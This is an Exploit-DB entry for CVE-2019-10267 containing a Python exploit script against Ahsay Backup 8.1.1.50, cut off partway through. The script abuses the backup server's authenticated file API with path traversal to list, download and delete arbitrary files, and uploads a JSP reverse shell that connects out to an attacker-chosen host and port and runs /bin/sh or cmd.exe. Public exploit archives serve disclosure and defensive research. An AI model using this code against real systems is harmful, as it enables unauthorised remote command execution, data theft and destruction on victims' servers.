Exploit-DB #47179
Description: Ahsay Backup 8.1.1.50 - Insecure File Upload and Code Execution (Authenticated)
Type: webapps
Platform: jsp
Date: 2019-07-26
Author: Wietse Boonstra

Exploit:
# Exploit Title: Ahsay Backup 8.1.1.50 - Insecure File Upload and Code Execution (Authenticated)
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50 
# Tested on: Windows / Linux
# CVE : CVE-2019-10267

# Session cookies are reflected in the JavaScript url: 

#!/usr/bin/env python3

import urllib3
import argparse
import base64
import re
import socket
from urllib.parse import urlencode
import gzip
import json
import hashlib

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def b64(s):
    try:
        return base64.b64encode(bytes(s, 'utf-8')).decode('utf-8')
    except:
        return base64.b64encode(bytes("", 'utf-8')).decode('utf-8')
     
def md5Sum(buf):
    hasher = hashlib.md5()
    hasher.update(buf)
    a = hasher.hexdigest()
    return a

class Exploit():
    def __init__(self, url, username="", password="", proxy="" ):
        self.url = url
        self.username = username
        self.[CREDENTIAL_REDACTED]
        self.accountValid = None
        if proxy:
            self.http = urllib3.ProxyManager(proxy)
        else:
            self.http = urllib3.PoolManager()
        
    def fileActions(self, path="../../../../../../", action='list', recurse=False):
        """
        actions: download, list, delete, (upload  different function use self.upload)
        """
        try:
            if not self.checkAccount(self.username,self.password):
                return False
            if recurse:
                recurse = "true"
            else:
                recurse = "false"
            
            headers={
                'X-RSW-Request-1':	'{}'.format(b64(self.password)),
                'X-RSW-Request-0':	'{}'.format(b64(self.username))
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
                
            path = {
                'X-RSW-custom-encode-path':'{}'.format(path),
                'recursive':'{}'.format(recurse)
                }
            path = urlencode(path)
            if action == "delete":
                r = self.http.request('DELETE', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)
            else:
                r = self.http.request('GET', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)
            if (r.status == 200):
                if (action == 'list'):
                    result = json.loads(gzip.decompress(r.data))
                    dash = '-' * 50
                    print(dash)
                    print('{:<11}{:<16}{:<20}'.format("Type", "Size","Name"))
                    print(dash)
                    for item in result["children"]:
                        print('{:<11}{:<16}{:<20}'.format(item['fsoType'], item['size'],item['name']))
                    print(dash) 
                else:
                    if action == "delete":
                        print ("File has been deleted")
                    else:
                        return (r.data.decode('utf-8'))
            else:
                print ("Something went wrong!")
                print (r.data)
                print (r.status)
        except Exception as e:
            print (e)
            pass

    def exploit(self, ip, port, uploadPath="../../webapps/cbs/help/en/", reverseShellFileName="test.jsp" ):
        """
        This function will setup the jsp reverse shell
        """
        if not self.checkAccount(self.username, self.password):
            return False

        reverseShell = '''<%@page import="java.lang.*"%>
            <%@page import="java.util.*"%>
            <%@page import="java.io.*"%>
            <%@page import="java.net.*"%>

            <%
            class StreamConnector extends Thread
            {{
                InputStream az;
                OutputStream jk;

                StreamConnector( InputStream az, OutputStream jk )
                {{
                this.az = az;
                this.jk = jk;
                }}

                public void run()
                {{
                BufferedReader vo  = null;
                BufferedWriter ijb = null;
                try
                {{
                    vo  = new BufferedReader( new InputStreamReader( this.az ) );
                    ijb = new BufferedWriter( new OutputStreamWriter( this.jk ) );
                    char buffer[] = new char[8192];
                    int length;
                    while( ( length = vo.read( buffer, 0, buffer.length ) ) > 0 )
                    {{
                    ijb.write( buffer, 0, length );
                    ijb.flush();
                    }}
                }} catch( Exception e ){{}}
                try
                {{
                    if( vo != null )
                    vo.close();
                    if( ijb != null )
                    ijb.close();
                }} catch( Exception e ){{}}
                }}
            }}

            try
            {{
                String ShellPath;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {{
            ShellPath = new String("/bin/sh");
            }} else {{
            ShellPath = new String("cmd.exe");
            }}

                Socket socket = new Socket( "{0}", {1} );
                Process process = Runtime.getRuntime().exec( ShellPath );
                ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
                ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
            }} catch( Exception e ) {{}}
            %>'''.format(str(ip), str(port))

        try:
            if (uploadPath == "../../webapps/cbs/help/en/"):
                callUrl = "{}/{}{}".format